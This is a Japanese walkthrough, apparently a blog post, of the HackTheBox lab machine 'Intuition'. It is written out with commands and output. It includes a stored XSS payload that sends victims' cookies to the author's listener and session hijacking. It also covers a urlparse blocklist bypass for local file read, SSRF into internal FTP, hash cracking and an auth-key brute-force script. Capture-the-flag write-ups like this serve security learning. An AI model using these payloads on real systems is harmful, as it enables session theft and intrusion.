HackTheBox Intuition WriteUp

今回はHackTheBoxのHardマシン「Intuition」のWriteUpです。
マシンの名前である「Intuition」は翻訳すると「直感」となります。直感に従って攻略することが大切なのでしょうか。。どのようなマシンなのか楽しみです。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/04b6cc5a-7b3d-f481-bd86-463350b689d1.png)

グラフはさすがHardマシンといった感じですね。
Hardなので、少し苦戦するかもですが攻略目指して頑張ります！

HackTheBoxって何？という方は下記の記事を見てみてください！一緒にハッキングしましょう〜！

https://qiita.com/WhizOwl/items/165783694cb4791cff34

また、HackTheBoxで学習する上で役にたつサイトやツールをまとめている記事もあるので、合わせてみてみてください！

https://qiita.com/Perplex/items/30f949fe261f56af7476

## Intuition

### 列挙

それでは攻略を開始していきます。
まずは、```nmap```から実行していきましょう。

```bash
+[~/intuition]
(σ▰>∇<)σ<>$ sudo nmap -Pn -sVC --min-rate=1000 -v -p- 10.10.11.15

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 b3:a8:f7:5d:60:e8:66:16:ca:92:f6:76:ba:b8:33:c2 (ECDSA)
|_  256 07:ef:11:a6:a0:7d:2b:4d:e8:68:79:1a:7b:a7:a9:cd (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://comprezzor.htb/
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

SSHとHTTPがオープンしています。出力からドメインが```http://comprezzor.htb/```であることがわかっているので、```hosts```ファイルに記述し、ブラウザでアクセスしてみましょう。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/e06e5017-e9bb-c7fa-9f4e-198f92fc2ba7.png)

ファイルを圧縮できるサイトのようです。
一番上にファイルを選択できるボタンが用意されているので、想定されていない拡張子もアップロードできるか試してみます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/218c0657-9517-548d-b65f-8725057a9c54.png)

拡張子の制限は正常に働いていそうです。
LZMAアルゴリズムを使用して圧縮を行うみたいなので、その脆弱性がないか調べてみましたが、特に情報もありませんでした。

サイト内に他に怪しい箇所がないか調べましたが特に見つからなかったので、サブドメインを探索することにしました。```ffuf```を実行します。

```
+[~/intuition]
(σ▰>∇<)σ<10.10.14.5>$ ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/namelist.txt -u http://comprezzor.htb -H "HOST: FUZZ.comprezzor.htb" -fc 301

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://comprezzor.htb
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/namelist.txt
 :: Header           : Host: FUZZ.comprezzor.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response status: 301
________________________________________________

auth                    [Status: 302, Size: 199, Words: 18, Lines: 6, Duration: 201ms]
dashboard               [Status: 302, Size: 251, Words: 18, Lines: 6, Duration: 190ms]
report                  [Status: 200, Size: 3166, Words: 1102, Lines: 109, Duration: 207ms]
:: Progress: [151265/151265] :: Job [1/1] :: 217 req/sec :: Duration: [0:11:51] :: Errors: 0 ::
```

3つもサブドメインが確認できました。ステータスコードが200番だったのは```report```のみなので、```report```からブラウザでアクセスしてみましょう。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/a91da1c4-395a-9564-566e-5f95c7c528a5.png)

バグを報告するサイトのようです。```Report a Bug```を押下することでレポートを記入することができるみたいなので、押下してみましょう。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/655f78ce-af9f-abdb-64cc-2bf06e7ad927.png)

ログインページが表示されました。ドメインも```auth```に変更されています。
認証情報はありませんが、```Register```というリンクがあるので押下します。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/af2abe91-8290-f5ee-ff76-e9dfd859ee22.png)

ユーザを登録できそうですね。ユーザ名とパスワードを入力し、登録しましょう。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/ec74d87e-fa40-cba6-d548-d6cca69d87bb.png)

登録できました。登録した情報でログインします。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/a2aa61c1-9b55-048e-08f1-4dd6639ff270.png)

レポートの元のページに返ってきましたが、ログインには成功していそうです。
再度```Report a Bug```のボタンを押下しましょう。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/7058f35f-0b57-b6e6-9e98-b19430ccb3a0.png)

レポートを提出するページが表示されました。
とりあえず適当に入力してみましょう。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/592fa938-9ae1-4bae-db47-8db40e0e7e9f.png)

レポートは提出できたようですが、そのレポートを確認するページなどは特に見つかりません。コマンドインジェクションやSQLインジェクションなどが発火しないかも試しましたが、特に発火している様子はありませんでした。

### XSS (Adam's Cookie)

ここでかなりの時間を使ってしまいました。。。が、試している中で、提出に成功した後のメッセージに目を向けました。

メッセージには日本語訳で「私たちのチームがすぐに確認する」と書いてあります。もしもサイト自体が1つのアプリケーションとして機能しており、サポートチームがログインしてレポートを確認するような場合、レポートの表示はHTMLで行われることが予想されます。
そして、レポートがHTMLとして表示され、表示する画面が仮にXSSに脆弱である場合、サポートチームのCookieを取得できるかもしれません。ダメ元ではありますが、試してみましょう。まずはローカルでWEBサーバを立ち上げます。

```bash
+[~/intuition]
(σ▰>∇<)σ<10.10.14.5>$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
```

次にCookieを取得できるペイロードを入力しましょう。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/bb529080-b118-a69c-1a2f-688642f4b97a.png)

入力したコードは以下の通りです。

```bash
<script>var i=new Image(); i.src="http://10.10.14.5:8000/?cookie="+btoa(document.cookie);</script>
```

入力できたら提出し、CookieがWEBサーバへ送信されないか確認してみましょう。

```bash
+[~/intuition]
(σ▰>∇<)σ<10.10.14.5>$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.11.15 - - [] "GET /?cookie=dXNlcl9kYXRhPWV5SjFjMlZ5WDJsa0lqb2dNaXdnSW5WelpYSnVZVzFsSWpvZ0ltRmtZVzBpTENBaWNtOXNaU0k2SUNKM1pXSmtaWFlpZlh3MU9HWTJaamN5TlRNek9XTmxNMlkyT1dRNE5UVXlZVEV3TmprMlpHUmxZbUkyT0dJeVlqVTNaREpsTlRJell6QTRZbVJsT0RZNFpETmhOelUyWkdJNA== HTTP/1.1" 200 -
```

なんと！Cookieが送信されてきました！
ダメ元でしたが、やっと次に進むことができそうです。このCookieを使用し、```dashboard```のサブドメインへアクセスしましょう。ちなみに私のペイロードでCookieを取得した場合はBase64でEncodeされているので、Decodeする必要があります。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/01f2e86a-4b7e-cc3f-9b7d-3329bdee855e.png)

Cookieを使用することで、```adam```ユーザとしてアクセスできました！

:::note info
ユーザの識別
アクセスしたユーザの名前が```adam```であるとわかったのは、Cookieとして使用されていたJWTをBase64でDecodeすることで、```username:adam```と設定されていたためです。さらにユーザにはロールも付与されているようで、```adam```ユーザには、```role:webdev```と設定されていました。もう一段階上のロール（例えば```admin```のような）がありそうですね。
:::

見るところこのサイトは提出されたレポートを見ることができるサイトのようです。
また、それぞれのレポートには優先度を決める```Priority```が設定されています。おそらく「1」が優先度高く「0」は優先度低めのようです。はじめはレポートに書いてある脆弱性を悪用するのかと思いましたが、内容を見ても悪用できるようなものはありませんでした。

### XSS (admin's Cookie)

続いてのステップを考えるとき、ロールにもう1段階上のものがあると予想していたので、なんとかしてもう1つ上のロールを取得する方法を考えました。しかしロールが1段階上のユーザの存在など見つかりません。では、どうすればよいのか。。

少し考えた結果、私は再び優先度の存在の意味を考えました。優先度が高いものと低いものがあるということは優先度に応じて対応が変わるということです。現にレポートの詳細ページから、```Adam```ユーザの権限で優先度を変更できます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/135aa965-624b-07df-a2d9-2c3a6a1a663a.png)

ここからは全く根拠がないですが、優先度が高いものの場合、ロールが高いユーザがレポートを確認しにくると仮定した場合、ペイロードが入力されたリポートの優先度を高くすればロールが高いユーザのCookieを取得できるかもしれません。

試してみましょう。再度ペイロードを入力したレポートを提出し、ダッシュボードで確認してみましょう。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/cbd3985d-c72b-0afa-147e-6348174b4bf4.png)

一番下にレポートが追加されています。そのレポートの優先度を「1」へ変更しましょう。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/a7cc6e4d-130f-0095-c863-5519e507b448.png)

優先度を「1」へ変更出来たら、ロールが高いユーザからCookieが送信されていないか確認してみましょう。

```bash
+[~/intuition]
(σ▰>∇<)σ<10.10.14.5>$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.11.15 - - [] "GET /?cookie=dXNlcl9kYXRhPWV5SjFjMlZ5WDJsa0lqb2dNaXdnSW5WelpYSnVZVzFsSWpvZ0ltRmtZVzBpTENBaWNtOXNaU0k2SUNKM1pXSmtaWFlpZlh3MU9HWTJaamN5TlRNek9XTmxNMlkyT1dRNE5UVXlZVEV3TmprMlpHUmxZbUkyT0dJeVlqVTNaREpsTlRJell6QTRZbVJsT0RZNFpETmhOelUyWkdJNA== HTTP/1.1" 200 -
...
10.10.11.15 - - [] "GET /?cookie=dXNlcl9kYXRhPWV5SjFjMlZ5WDJsa0lqb2dNU3dnSW5WelpYSnVZVzFsSWpvZ0ltRmtiV2x1SWl3Z0luSnZiR1VpT2lBaVlXUnRhVzRpZlh3ek5EZ3lNak16TTJRME5EUmhaVEJsTkRBeU1tWTJZMk0yTnpsaFl6bGtNalprTVdReFpEWTRNbU0xT1dNMk1XTm1ZbVZoTWpsa056YzJaRFU0T1dRNQ== HTTP/1.1" 200 -
```

異なるCookieが送信されてきました！これをDecodeし、Cookieとしてセットした上で```dashboard```へアクセスしてみましょう。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/9c5dd9f1-7a41-0768-bcd2-b3ae90e143cc.png)

```admin```ユーザとしてアクセスできました！ちなみにロールも```admin```でした。

### CVE-2023–24329

ページ内を確認すると、```Create a backup```と```Create PDF Report```が追加されたことがわかりました。試しにバックアップを押下してみると...

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/a39cdb73-1c4c-c9b8-4b4e-304a64cb0331.png)

バックアップに成功しました！というメッセージが表示されるだけで、特にそれ以外のアクションは起きていなさそうです。続いてPDFの方を押下してみます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/a9e2c375-babb-7758-905e-1f8c08feb083.png)

入力したURLのPDFを作成するようです。試しにKali側のIPアドレスを入力してみます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/ceff88a2-d580-c3b1-7611-2b56147470d5.png)

上の写真のようなPDFが作成されました。PDFの作成の攻撃としてよくあるのは作成にしようするツールのバージョンに脆弱性があるようなパターンです。ダウンロードしたPDFに対して、```exiftool```を実行してみましょう。

```bash
+[~/intuition]
(σ▰>∇<)σ<10.10.14.5>$ exiftool report_83346.pdf 
ExifTool Version Number         : 12.76
File Name                       : report_83346.pdf
Directory                       : .
File Size                       : 8.0 kB
File Permissions                : -rw-r--r--
File Type                       : PDF
File Type Extension             : pdf
MIME Type                       : application/pdf
PDF Version                     : 1.4
Linearized                      : No
Title                           : 
Creator                         : wkhtmltopdf 0.12.6
Producer                        : Qt 5.15.2
Page Count                      : 1
```

```wkhtmltopdf```のバージョンが```0.12.6```であることがわかりました。このバージョンに脆弱性がないか調べてみたところ、以下のサイトを発見しました。

https://www.exploit-db.com/exploits/51039

どうやらSSRFに対して脆弱のようです。が、今回アクセス制御があるほかのポートがあるわけでもないですし、SSRFを悪用するには情報がなさすぎます。

もう少しPDF作成機能について調べたいので、```nc```で待ち受けを作成しそこへアクセスをさせてみることにします。

```bash
+[~/intuition]
(σ▰>∇<)σ<10.10.14.5>$ nc -lnvp 2121
listening on [any] 2121 ...
```

この状態で、PDF作成に2121番ポートを指定します。

```bash
+[~/intuition]
(σ▰>∇<)σ<10.10.14.5>$ nc -lnvp 2121
listening on [any] 2121 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.11.15] 52552
GET / HTTP/1.1
Accept-Encoding: identity
Host: 10.10.14.5:2121
User-Agent: Python-urllib/3.11
Cookie: user_data=eyJ1c2VyX2lkIjogMSwgInVzZXJuYW1lIjogImFkbWluIiwgInJvbGUiOiAiYWRtaW4ifXwzNDgyMjMzM2Q0NDRhZTBlNDAyMmY2Y2M2NzlhYzlkMjZkMWQxZDY4MmM1OWM2MWNmYmVhMjlkNzc2ZDU4OWQ5
Connection: close
```

```User-Agent```を見ると、```Python-urllib```の```3.11```が使用されていることがわかりました。このバージョンにも脆弱性がないかを確認してみると、以下の記事を発見しました。

https://iototsecnews.jp/2023/08/12/new-python-url-parsing-flaw-could-enable-command-execution-attacks/

```Python-urllib```の```3.11```には、ブラックリストのバイパスに対して脆弱のようです。脆弱性を悪用することで、ローカルファイルを読み取ることが可能です。

:::note info
概要 : CVE-2023–24329
この脆弱性は、バージョンが```3.11```の時、```urlparse```による解析において問題が生じます。URLの先頭に空白を挿入することでホスト名とスキームの解析に問題が生じ、最終的にブラックリストを回避することに繋がります。
:::

それではこの脆弱性を悪用しましょう。まずは```/etc/passwd```の読み取りを狙います。```file:///etc/passwd```の先頭に空白を挿入し、PDFを作成しましょう。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/1102140f-3a37-75da-6306-f538588f51ac.png)

```/etc/passwd```の読み取りに成功しました！
それではこの脆弱性を使用し、情報を列挙していきます。まずは、今回のサーバで実行されているコードの内容を読み取りたいので段階的に調査を進めていきます。まず実行されているコードを確認しましょう。```/proc/self/cmdline```に対して読み取りを行います。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/ed194e71-fec4-9b8e-24e8-cfa4a1dab950.png)

```/app/code/app.py```が実行されていることがわかりました。
では続いてこちらのPythonファイルに対して読み取りを行います。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/378dd1ae-8fc3-228b-8efd-3d6ab0921c48.png)

Pythonファイルの内容が出力され、```secret_key```などを確認することができました。その中でファイルをインポートしている部分に注目してください。インポート元を```blueprints.index.index```や```blueprints.auth.auth```のように示しています。これは各ファイルが以下のように展開されていることを示しています。

```bash
/app/code/blueprints/index/index.py
/app/code/blueprints/report/report.py
/app/code/blueprints/auth/auth.py
/app/code/blueprints/dashboard/dashboard.py
```

それぞれを確認し、脆弱性がないか確認します。```dashboard.py```を見てみると...

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/e795a10e-3c8c-ddb7-9c42-4d385e1f2ca2.png)

脆弱性ではないですが、FTPの認証情報が書かれていました！

### CVE-2022-35583

FTPの認証情報を見つけたのはいいですが、```nmap```の実行結果でFTPがオープンしていないことがわかっているので直接アクセスできません。どうすればよいか一瞬悩みましたが、先ほどPDFに対して```exiftool```を実行し、```wkhtmltopdf```の```0.12.6```がSSRFに対し、脆弱であったことを思い出しました。```CVE-2023–24329```と組み合わせることで、FTPへのアクセスできます！

それでは、FTPアクセスのリンクとして```ftp://ftp_admin:u3jai8y71s2@ftp.local```を指定したうえで、先頭に空白を挿入しPDFを作成しましょう。作成したPDFを確認すると...

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/0d6c8d29-4e01-b7f3-e00c-53e05339b758.png)

FTPへアクセスできました！3つのファイルがあるようですが、```welcome_note.pdf```は```welcome_note.txt```をPDF化したもののようなので実質2つのファイルです。
どちらも確認してみましょう。まずは```private-8297.key```です。指定するリンクは```ftp://ftp_admin:u3jai8y71s2@ftp.local/private-8297.key```です。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/f93989e1-5f08-b229-ccbd-9bd656121f8a.png)

SSH秘密鍵が取得できました！接続してみたい気持ちを抑え、```welcome_note.txt```も確認してみます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/9ca683d8-5964-ed72-3083-3996b4e0dbe8.png)

SSH秘密鍵のパスフレーズが記載されていました！きちんとすべてのファイルを確認するのが大切ですね。
あとはSSH秘密鍵が誰のものなのかわかれば接続できそうです。これは容易に判別可能です。SSH秘密鍵を保存したファイルに対して、```ssh-keygen```を使用しユーザを判別しましょう。

```bash
+[~/intuition]
(σ▰>∇<)σ<10.10.14.5>$ ssh-keygen -p -f id_rsa 
Enter old passphrase: 
Key has comment 'dev_acc@local'
Enter new passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved with the new passphrase.
```

```dev_acc```ユーザのものであることがわかりました！

## dev_acc としてのシェル

それでは、SSH接続を行いましょう。

```bash
+[~/intuition]
(σ▰>∇<)σ<10.10.14.5>$ ssh -i id_rsa dev_acc@10.10.11.15
Enter passphrase for key 'id_rsa': Y27SH19HDIWD
dev_acc@intuition:~$ whoami
dev_acc
```

侵入に成功しました！

```bash
dev_acc@intuition:~$ ls -l
total 4
-rw-r----- 1 root dev_acc 33 May  2 10:10 user.txt
```

ユーザフラグも取得できました！

### 横移動

それでは内部探索へ移ります。とりあえず```sudo -l```を実行してみます。

```bash
dev_acc@intuition:~$ sudo -l
[sudo] password for dev_acc: 
sudo: a password is required
```

パスワードが求められたので、```sudo```は実行できないようです。SUIDも気になるファイルはなかったので、続いてWEBルートを確認することにしました。

```bash
dev_acc@intuition:/var/www/app$ ls -l
total 20
-rw-r--r-- 1 root root  780 Apr  9 10:37 app.py
drwxr-xr-x 6 root root 4096 Apr 10 08:21 blueprints
drwxr-xr-x 2 root root 4096 Apr 10 08:21 __pycache__
drwxr-xr-x 3 root root 4096 Apr 10 08:21 selenium
drwxr-xr-x 6 root root 4096 Apr 10 08:21 templates
```

見慣れたファイルやディレクトリがあります。

### Hash Crack

```selenium```ディレクトリも気になりますが、とりあえずまずは```blueprints```ディレクトリ内に他に情報がないかを調べていきます。```auth```配下を見てみると...

```bash
dev_acc@intuition:/var/www/app/blueprints/auth$ ls -la
total 40
drwxr-xr-x 3 root root  4096 May  2 17:25 .
drwxr-xr-x 6 root root  4096 Apr 10 08:21 ..
-rw-r--r-- 1 root root  1842 Sep 18  2023 auth.py
-rw-r--r-- 1 root root  3038 Sep 19  2023 auth_utils.py
drwxr-xr-x 2 root root  4096 Apr 10 08:21 __pycache__
-rw-r--r-- 1 root root 16384 May  2 17:25 users.db
-rw-r--r-- 1 root root   171 Sep 18  2023 users.sql
```

```users.db```ファイルを発見しました。```sqlite3```コマンドでアクセスしてみましょう。

```bash
dev_acc@intuition:/var/www/app/blueprints/auth$ sqlite3 users.db
SQLite version 3.37.2 2022-01-06 13:25:41
Enter ".help" for usage hints.
sqlite> .tables
users
sqlite> select * from users;
1|admin|sha256$nypGJ02XBnkIQK71$f0e11dc8ad21242b550cc8a3c27baaf1022b6522afaadbfa92bd612513e9b606|admin
2|adam|sha256$Z7bcBO9P43gvdQWp$a67ea5f8722e69ee99258f208dc56a1d5d631f287106003595087cf42189fc43|webdev
```

```admin```と```adam```のパスワードハッシュを確認しました！
それぞれ保存し、解読できないか試してみましょう。```hashcat```を実行します。

```bash
+[~/intuition]
(σ▰>∇<)σ<10.10.14.5>$ hashcat -m 30120 hash.txt /usr/share/wordlists/rockyou.txt 
hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 5.0+debian  Linux, None+Asserts, RELOC, SPIR, LLVM 16.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
==================================================================================================================================================
* Device #1: cpu-sandybridge-AMD Ryzen 7 7730U with Radeon Graphics, 2915/5894 MB (1024 MB allocatable), 6MCU
...
sha256$Z7bcBO9P43gvdQWp$a67ea5f8722e69ee99258f208dc56a1d5d631f287106003595087cf42189fc43:adam gray
...
```

```adam```のハッシュを解読することに成功しました！
ローカルユーザとして```adam```ユーザが存在していたので、SSH接続や```su```コマンドが実行できないか試しましてみましょう。

```bash
> SSH
+[~/intuition]
(σ▰>∇<)σ<10.10.14.5>$ ssh adam@10.10.11.15             
adam@10.10.11.15s password: 
Permission denied, please try again.

> su
dev_acc@intuition:~$ su adam
Password: 
su: Authentication failure
```

どちらも失敗しました。。
しかし、```adam```というディレクトリがありながらも、認証情報が使用できないというのは違和感です。

### Auth Key

ほかに認証情報が使用できる箇所がないかを考えたとき、私はFTPが起動していたことを思い出しました。FTPであればアクセス先をディレクトリで変更している可能性は全然あります。試してみましょう。

```bash
dev_acc@intuition:~$ ftp adam@127.0.0.1
Connected to 127.0.0.1.
220 pyftpdlib 1.5.7 ready.
331 Username ok, send password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
```

ログインに成功しました！
列挙する前に、ポート転送を行い、Kali側からアクセス可能にします。

```bash
+[~/intuition]
(σ▰>∇<)σ<10.10.14.5>$ ssh -D 1080 -i id_rsa dev_acc@10.10.11.15
Enter passphrase for key 'id_rsa': 
dev_acc@intuition:~$ 
```

これで準備は万端です。再度Kali側から接続を行いましょう。

```bash
+[~/intuition]
(σ▰>∇<)σ<10.10.14.5>$ proxychains ftp adam@127.0.0.1  
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  127.0.0.1:21  ...  OK
Connected to 127.0.0.1.
220 pyftpdlib 1.5.7 ready.
331 Username ok, send password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
```

Kali側からのアクセスに成功しました。

では、ここからFTP内を列挙していきます。ディレクトリの中を掘っていくと...

```bash
ftp> ls
drwxr-xr-x   3 root     1002         4096 Apr 10 08:21 backup
ftp> cd backup
ftp> ls
drwxr-xr-x   2 root     1002         4096 Apr 10 08:21 runner1
ftp> cd runner1
ftp> ls
-rwxr-xr-x   1 root     1002          318 Apr 06 00:25 run-tests.sh
-rwxr-xr-x   1 root     1002        16744 Oct 19  2023 runner1
-rw-r--r--   1 root     1002         3815 Oct 19  2023 runner1.c
```

3つのファイルを発見しました！```runner1```はバイナリのようですが、```runner1.c```が存在しているので、わざわざ逆コンパイルする必要はなさそうです。
すべてのファイルを取得しておきましょう。

```bash
ftp> get run-tests.sh
ftp> get runner1
ftp> get runner1.c
```

ダウンロードができたら、見てみましょう。まずは```run-tests.sh```です。

```
+[~/intuition]
(σ▰>∇<)σ<10.10.14.5>$ cat run-tests.sh 
#!/bin/bash

# List playbooks
./runner1 list

# Run playbooks [Need authentication]
# ./runner run [playbook number] -a [auth code]
#./runner1 run 1 -a "UHI75GHI****"

# Install roles [Need authentication]
# ./runner install [role url] -a [auth code]
#./runner1 install http://role.host.tld/role.tar -a "UHI75GHI****"
```

コードの中に```auth code```があり、一部がマスク化された```UHI75GHI****```という文字列があります。次のステップはこのコードを推測することでしょうか。```runner1.c```も見てみましょう。

```
+[~/intuition]
(σ▰>∇<)σ<10.10.14.5>$ cat runner1.c   
// Version : 1

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dirent.h>
#include <openssl/md5.h>

#define INVENTORY_FILE "/opt/playbooks/inventory.ini"
#define PLAYBOOK_LOCATION "/opt/playbooks/"
#define ANSIBLE_PLAYBOOK_BIN "/usr/bin/ansible-playbook"
#define ANSIBLE_GALAXY_BIN "/usr/bin/ansible-galaxy"
#define AUTH_KEY_HASH "0feda17076d793c2ef2870d7427ad4ed"
...
} else {
        printf("Usage2: %s [list|run playbook_number|install role_url] -a <auth_key>\n", argv[0]);
        return 1;
    }

    return 0;
}
```

先ほど```auth code```で示されたコードのハッシュが表示されています！
どうやらこれはMD5でハッシュ化されているようです。なので、先ほどのマスク化された部分に総当たりで文字を入れていき、ハッシュ化した値とすでにわかっているハッシュ値を照合し、同じ値になれば元の```auth code```を求めることができます。
簡単なコードを書いて、ハッシュ値の照合を行いましょう。使用したコードは以下の通りです。

```bash
+[~/intuition]
(σ▰>∇<)σ<10.10.14.5>$ cat calc.py  
import itertools
import hashlib

def find_original_string(partial_string, hash_value):
    # 英数字の大文字のみの文字列を生成
    characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
    
    # 破損部分の長さを計算
    length_of_missing_part = partial_string.count('*')
    
    # 全ての可能な文字列の組み合わせを生成
    for combo in itertools.product(characters, repeat=length_of_missing_part):
        # 破損した部分を置換
        attempt = partial_string.replace('*', '{}').format(*combo)
        
        # MD5 ハッシュ値を計算
        attempt_hash = hashlib.md5(attempt.encode()).hexdigest()
        
        # ハッシュ値が一致した場合、元の文字列として返す
        if attempt_hash == hash_value:
            return attempt
    
    # 一致するものがなければ None を返す
    return None

# 破損した文字列とハッシュ値
damaged_string = 'UHI75GHI****'
original_hash = '0feda17076d793c2ef2870d7427ad4ed'

# 関数を呼び出して結果を表示
original_string = find_original_string(damaged_string, original_hash)
if original_string:
    print('Original string:', original_string)
else:
    print('No match found.')
```

それでは、このスクリプトを実行していきましょう。

```bash
+[~/intuition]
(σ▰>∇<)σ<10.10.14.5>$ python3 calc.py               
Original string: UHI75GHINKOP
```

```auth key```を求めることに成功しました！
ちゃんと使用できるかどうか試してみましょう。

```bash
+[~/intuition]
(σ▰>∇<)σ<10.10.14.5>$ ./runner1 run 1 -a "UHI75GHINKOP"
Failed to open the playbook directory: No such file or directory
```

```auth key```が異なる場合は```Authenticate failed```というエラーが出力されるので、そのエラーではないということは認証に成功していることがわかりました。


### lopez's Credential

```auth key```は取得できましたが、これだけで横移動や権限昇格につなげるのは難しそうです。もう少し内部を探索し、情報を増やす必要がありそうなので、もう一度戻って調査を開始します。

調査をしていると```/opt```ディレクトリに気になるスクリプトを発見しました。

```bash
dev_acc@intuition:/opt$ ls -la
total 28
drwxr-xr-x  7 root root    4096 Apr 10 08:21 .
drwxr-xr-x 19 root root    4096 Apr 10 07:40 ..
drwx--x--x  4 root root    4096 Aug 26  2023 containerd
drwxr-xr-x  4 root root    4096 Sep 19  2023 ftp
drwxr-xr-x  3 root root    4096 Apr 10 08:21 google
drwxr-x---  2 root sys-adm 4096 Apr 10 08:21 playbooks
drwxr-x---  2 root sys-adm 4096 Apr 10 08:21 runner2
```

先ほど取得したファイルが```runner1```で、```/opt```ディレクトリにあるのが```runner2```です。明らかに関連性があるので、詳しく見てみたいですが権限が```root```と```sys-adm```にしかありません。横移動に成功すれば権限が付与されるかもしれないので、ユーザに焦点を当てた列挙に進みます。もう一度```/home```ディレクトリを確認しましょう。

```bash
dev_acc@intuition:/home$ ls -la
total 20
drwxr-xr-x  5 root    root    4096 Apr 25 11:49 .
drwxr-xr-x 19 root    root    4096 Apr 10 07:40 ..
drwxr-x---  2 adam    adam    4096 Apr 10 07:37 adam
drwxr-x---  4 dev_acc dev_acc 4096 Apr  9 18:26 dev_acc
drwxr-x---  3 lopez   lopez   4096 Apr 10 08:21 lopez
```

まだアクションを起こしていないユーザとして```lopez```ユーザが存在します。このユーザの認証情報を取得したいので、色々列挙していきます。

列挙も様々な方法がありますが、とりあえず```grep```や```zgrep```を使用して```lopez```に関する情報がないかを調べていきます。```zgrep```を実行していると...

```bash
dev_acc@intuition:~$ find / -name \*.gz -print0 2>/dev/null | xargs -0 zgrep -i "lopez" 
gzip: /snap/core20/2015/usr/share/doc/bash/README.md.bash_completion.gz: No such file or directory
gzip: /snap/core20/2015/usr/share/doc/console-conf/changelog.gz: No such file or directory
...
/var/log/suricata/eve.json.7.gz:{"timestamp":"2023-09-28T17:43:36.099184+0000","flow_id":1988487100549589,"in_iface":"ens33","event_type":"ftp","src_ip":"192.168.227.229","src_port":37522,"dest_ip":"192.168.227.13","dest_port":21,"proto":"TCP","tx_id":1,"community_id":"1:SLaZvboBWDjwD/SXu/SOOcdHzV8=","ftp":{"command":"USER","command_data":"lopez","completion_code":["331"],"reply":["Username ok, send password."],"reply_received":"yes"}}
/var/log/suricata/eve.json.7.gz:{"timestamp":"2023-09-28T17:43:52.999165+0000","flow_id":1988487100549589,"in_iface":"ens33","event_type":"ftp","src_ip":"192.168.227.229","src_port":37522,"dest_ip":"192.168.227.13","dest_port":21,"proto":"TCP","tx_id":2,"community_id":"1:SLaZvboBWDjwD/SXu/SOOcdHzV8=","ftp":{"command":"PASS","command_data":"Lopezzz1992%123","completion_code":["530"],"reply":["Authentication failed."],"reply_received":"yes"}}
